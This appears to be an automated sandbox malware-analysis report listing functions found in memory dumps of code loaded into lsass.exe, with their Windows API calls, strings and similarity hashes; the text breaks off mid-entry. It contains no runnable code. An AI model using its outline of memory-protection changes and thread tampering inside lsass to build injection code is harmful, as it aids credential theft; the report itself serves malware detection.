Function 00000140AE86F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 00000140AE86F510
GetProcAddress.KERNEL32 ref: 00000140AE86F51C

Strings

ext-ms-, xrefs: 00000140AE86F46D
api-ms-, xrefs: 00000140AE86F45A

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 54f3c5caea9a3c542447f16078fc342d6fc1075fabbd0ba72b9af9b604dcfd33
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 0A41AE32391B0082EB27CF17A9047D56391BB4DBB0F7945259E0E97BA4EE38CC45D392

Function 00000140AE86104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000140AE8610B1
RegEnumValueW.ADVAPI32 ref: 00000140AE861117
GetProcessHeap.KERNEL32 ref: 00000140AE86115A
HeapAlloc.KERNEL32 ref: 00000140AE861168
GetProcessHeap.KERNEL32 ref: 00000140AE861185
HeapFree.KERNEL32 ref: 00000140AE861193

Strings

d, xrefs: 00000140AE8610D6

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: f351be34048a7ac2b0398fd5e5befab81f97ba1f80314118af7c8759807b7470
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 54415B32614B84C6E761CF22E44439A77B1F389BA8F248129DF8D07B68DF38C849CB41

Function 00000140AE86D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00000140AE86C7DE,?,?,?,?,?,?,?,?,00000140AE86CF9D,?,?,00000001), ref: 00000140AE86D087
FlsSetValue.KERNEL32(?,?,?,00000140AE86C7DE,?,?,?,?,?,?,?,?,00000140AE86CF9D,?,?,00000001), ref: 00000140AE86D0A6
FlsSetValue.KERNEL32(?,?,?,00000140AE86C7DE,?,?,?,?,?,?,?,?,00000140AE86CF9D,?,?,00000001), ref: 00000140AE86D0CE
FlsSetValue.KERNEL32(?,?,?,00000140AE86C7DE,?,?,?,?,?,?,?,?,00000140AE86CF9D,?,?,00000001), ref: 00000140AE86D0DF
FlsSetValue.KERNEL32(?,?,?,00000140AE86C7DE,?,?,?,?,?,?,?,?,00000140AE86CF9D,?,?,00000001), ref: 00000140AE86D0F0

Strings

1%, xrefs: 00000140AE86D0CE
Y%, xrefs: 00000140AE86D0A6

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 5fd4451407afae9fb266b5747a94aa354b26cb0abe68d3eef0f402a98e977e8e
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: D1114C3068434441FA6AAB275A513E962516B5C7F0F785B24AE3D076FEDE78DC02C683

Function 00000140AE867510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000140AE867538
__scrt_acquire_startup_lock.LIBCMT ref: 00000140AE86758A
_RTC_Initialize.LIBCMT ref: 00000140AE8675B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000140AE8675DE
__scrt_release_startup_lock.LIBCMT ref: 00000140AE867609

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 65cc65eb12478eed7e59dbe5af20ea895e9a9811b6e8982f7201964f625eb0cd
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: F2819F30A9034187FB53AB6798413D92292AB8D7B4F744525AF0C477B6EB3ACC45C7C2

Function 00000140AE869DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00000140AE869E49
GetLastError.KERNEL32 ref: 00000140AE869E57
LoadLibraryExW.KERNEL32 ref: 00000140AE869E81
FreeLibrary.KERNEL32 ref: 00000140AE869EC7
GetProcAddress.KERNEL32 ref: 00000140AE869ED3

Strings

api-ms-, xrefs: 00000140AE869E69

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 03dcf4635245ae701bcfc235362316d2ff68836874f11cf0347ec2092aff8e99
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 9F319031292B40E1EF239B47A4007D56394B74CBB0F7985259E2E4B7A0EF7DC845C392

Function 00000140AE873DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000140AE873DE5
GetLastError.KERNEL32 ref: 00000140AE873DF1
CloseHandle.KERNEL32 ref: 00000140AE873E09
CreateFileW.KERNEL32 ref: 00000140AE873E34
WriteConsoleW.KERNEL32 ref: 00000140AE873E53

Strings

CONOUT$, xrefs: 00000140AE873E15

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: ad989254367ffea67bb77bf17bba7392694ea205673c5da45a75a0c92e4d569a
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 82114932650B4086E7528B53A84439977A4B79CFF4F644224EF5E87BA5CF38C814C782

Function 00000140AE863790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000140AE86379E
GetCurrentProcess.KERNEL32 ref: 00000140AE8637CC
VirtualProtectEx.KERNEL32 ref: 00000140AE8637EE
GetCurrentProcess.KERNEL32 ref: 00000140AE863809
VirtualProtectEx.KERNEL32 ref: 00000140AE86382A

Strings

wr, xrefs: 00000140AE8637FF

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: fd890a10e18ff91e2345af510b04503e6d001258bbebb589a967ba1f92d71b91
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 81113936B45B8182FF159B23E4082A972A0FB8CBA5F640029DF9D077A4EF3DC905C745

Function 00000140AE865B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000140AE865B6B
GetThreadContext.KERNEL32 ref: 00000140AE865CD5

Part of subcall function 00000140AE865960: GetCurrentThreadId.KERNEL32 ref: 00000140AE865964

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: 4b8643210702c91202cb0783c5a391a2a26d50b369a2e2f855514301358eef3e
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: 98D19736248B8882DA719B0AE49439A77A0F78CB94F600516EF8D47BB5DF3CC941CB81

Function 00000140AE862F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000140AE862F27
HeapAlloc.KERNEL32 ref: 00000140AE862F3A
StrCmpNIW.SHLWAPI ref: 00000140AE862FAF
GetProcessHeap.KERNEL32 ref: 00000140AE863015
HeapFree.KERNEL32 ref: 00000140AE863023

Strings

dialer, xrefs: 00000140AE862FA8

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: a2d052cb6962f498e3cef9ed57c0a8daa6a62b61da821da8834fd8d960af75c0
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: D231B332741B5182EB26DF1BE5447A9A7A0FB4DBA4F2881209F4C47B75EF34C8A5C781

Function 00000140AE86CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000140AE86CFAF
FlsSetValue.KERNEL32(?,?,?,00000140AE86D6B5,?,?,?,?,00000140AE86D778), ref: 00000140AE86CFE5
FlsSetValue.KERNEL32(?,?,?,00000140AE86D6B5,?,?,?,?,00000140AE86D778), ref: 00000140AE86D012
FlsSetValue.KERNEL32(?,?,?,00000140AE86D6B5,?,?,?,?,00000140AE86D778), ref: 00000140AE86D023
FlsSetValue.KERNEL32(?,?,?,00000140AE86D6B5,?,?,?,?,00000140AE86D778), ref: 00000140AE86D034
SetLastError.KERNEL32 ref: 00000140AE86D04F

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: b1e378f208745640ce80b78c559ffaa0a20b0e3a8eff5e4311b7b060cf634d78
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: F3112E3028534081FA66AB635A553A962416B9C7F4F344B24EE3E476FADE78DC01D6C3

Function 00000140AE86199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000140AE8619C2
K32GetModuleFileNameExW.KERNEL32 ref: 00000140AE8619E0
PathFindFileNameW.SHLWAPI ref: 00000140AE8619EF
lstrlenW.KERNEL32 ref: 00000140AE8619FB
StrCpyW.SHLWAPI ref: 00000140AE861A0E
CloseHandle.KERNEL32 ref: 00000140AE861A1C

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 9022e9ca5b0b5f71c7b82a84b25e46de0569a46428ab685b711a92cff19137a4
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: A5015731740B4082EB51DB53A848799A3A1F78CBD1FA84035DF4D43B65DE38C989C781

Function 00000140AE8636C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000140AE8636E4
GetCurrentProcess.KERNEL32 ref: 00000140AE8636F2
VirtualProtectEx.KERNEL32 ref: 00000140AE863714
GetCurrentProcess.KERNEL32 ref: 00000140AE863732
VirtualProtectEx.KERNEL32 ref: 00000140AE863753
TerminateThread.KERNEL32 ref: 00000140AE863762

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 301de5e6a3bc59086d6f9150b82df67b6d6c22bbab0207dc7c03168e1951e1a1
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 01015774651B40C2EB269B23E81879973A0BB9DBA2F240428CF4D07774EF3CC908C782

Function 00000140AE868FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000140AE869013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000140AE8690A8
RtlUnwindEx.NTDLL ref: 00000140AE8690F7

Strings

csm, xrefs: 00000140AE86908E
f, xrefs: 00000140AE869026

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: bd338bf40550659d0ab490f789d63c081b601061abea68a920c6aca0165ba548
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: 8351A13265170086EB16CB16E848B9937A6F348BA8F318524DF1A477E8DB3DCC41C782

Function 00000140AE863044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 00000140AE863066
StrCpyW.SHLWAPI ref: 00000140AE863076
StrCatW.SHLWAPI ref: 00000140AE863082
PathCombineW.SHLWAPI ref: 00000140AE863090

Strings

\\.\pipe\, xrefs: 00000140AE86305C

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 0e89825c8f5d70b27a483a01b8d98a85527b4973c2a0efa788cb30948269fb2a
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: A6F05E30644B8082EB058B53B9041996261AB8CFE0F245020EF4E07B78DE38C849C782

Function 00000140AE86BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000140AE86BCBD
GetProcAddress.KERNEL32 ref: 00000140AE86BCD3
FreeLibrary.KERNEL32 ref: 00000140AE86BCFA

Strings

CorExitProcess, xrefs: 00000140AE86BCCC
mscoree.dll, xrefs: 00000140AE86BCB4

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 0a5f03d881548423950f550b58b8fc74d35f60bbb561fa5f685fc2d061d5bb49
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 7EF06D71655B0582EB128B26E8443A97320EB8CBB5F740219CF6E472F4CF3DC948D381

Function 00000140AE8650D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000140AE865156

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: 73fda85837acdd30ad006dc6ccb1667200e15de9212539d4e27f8f5c03466d3a
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: 2702FA32259B8486EB61DB56F49439AB7A1F7C8794F200415EB8E87BB8DF7CC844CB41

Function 00000140AE865710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000140AE865726

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: 819f4eb226d638b22eb9453569fbd0dff2ed878ae5cb7d9cc285f1354ad887c7
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: 9B61C536559B44C6E7629B16F48439AB7A0F7887A4F600515EF8E47BB8DF7CC840CB82

Function 00000140ADFD3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000140ADFD352C
_set_statfp.LIBCMT ref: 00000140ADFD3547
_set_statfp.LIBCMT ref: 00000140ADFD3563
_set_statfp.LIBCMT ref: 00000140ADFD359F

Memory Dump Source

Source File: 0000001F.00000002.3602728179.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140adfc0000_lsass.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 2e1910b8291bafd17102f3214c72d3e729590e13e78c3872cab4fc5f060f1e3e
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 22115472614B5353FA56162AE4553EB31C36F5C37CF784628AFE6076F68A34E8436200

Function 00000140AE874104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000140AE87412C
_set_statfp.LIBCMT ref: 00000140AE874147
_set_statfp.LIBCMT ref: 00000140AE874163
_set_statfp.LIBCMT ref: 00000140AE87419F

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 28d524a13795f3523b3f1b4b207150eb2f338f5cab7179f9a4c1ef00b7941454
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: DC119132AD0B5011F667256AD4913E531446B6DBB8F390624AF7E176F68B34CC41C2A2

Function 00000140ADFCF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000140ADFCF124

Strings

or copy constructor iterator', xrefs: 00000140ADFCF25A, 00000140ADFCF275
Tuesday, xrefs: 00000140ADFCF0F4
Wednesday, xrefs: 00000140ADFCF1ED

Memory Dump Source

Source File: 0000001F.00000002.3602728179.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140adfc0000_lsass.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 48ac8b7a938d00f4a24374fee49c64dd94bfb0dfea2bd827f35d3ab40a9a7452
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 3961B43652234853FA6B8B67E5443EBBAA3EF8D748F744415CB46077B4DB34C967A200

Function 00000140AE86AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000140AE86AA68
_CallSETranslator.LIBVCRUNTIME ref: 00000140AE86AAB7

Strings

RCC, xrefs: 00000140AE86AA85
MOC, xrefs: 00000140AE86AA7C

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 1c54ac8669fca167ed3fb4a5461af2b1e7039b1515757cf07daf6e620200d245
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: B6619F33640B848AEB11DF66D4403DD77A0F748BA8F244256EF4E17BA9DB38C995C781

Function 00000140ADFCA178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000140ADFCA1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000140ADFCA288

Strings

csm, xrefs: 00000140ADFCA1C2
csm, xrefs: 00000140ADFCA2DA

Memory Dump Source

Source File: 0000001F.00000002.3602728179.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140adfc0000_lsass.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 5e9ed10956360af88f8a3a4b9cf73a15bede84b98f5d365089c0e3503e132e06
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: B751E432120388CBEB658B6794443DA37A3FB58B84F244117DB4947BE5CB39E5A2E700

Function 00000140AE86AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000140AE86ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000140AE86AE88

Strings

csm, xrefs: 00000140AE86AEDA
csm, xrefs: 00000140AE86ADC2

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 6cac39d5d8876cbc65fde025732dcd94be71c236f1742025846821184820e854
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: D951AF72180780CAEB768F17958439977A0F358BA8F244256DF9D47BE5CB38D890D782

Function 00000140ADFC8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000140ADFC8413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000140ADFC84A8

Strings

csm, xrefs: 00000140ADFC848E
f, xrefs: 00000140ADFC8426

Memory Dump Source

Source File: 0000001F.00000002.3602728179.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140adfc0000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 595c9e32b9df4e514150441d0aa3e925450171a8e5ef433ea7709e32150aded9
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: E551E43272170487DB96CF16D404BEA3797FB48BA8F318424DB06437A8EBB4C952A704

Function 00000140ADFC83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000140ADFC8413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000140ADFC84A8

Strings

csm, xrefs: 00000140ADFC848E
f, xrefs: 00000140ADFC8426

Memory Dump Source

Source File: 0000001F.00000002.3602728179.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140adfc0000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
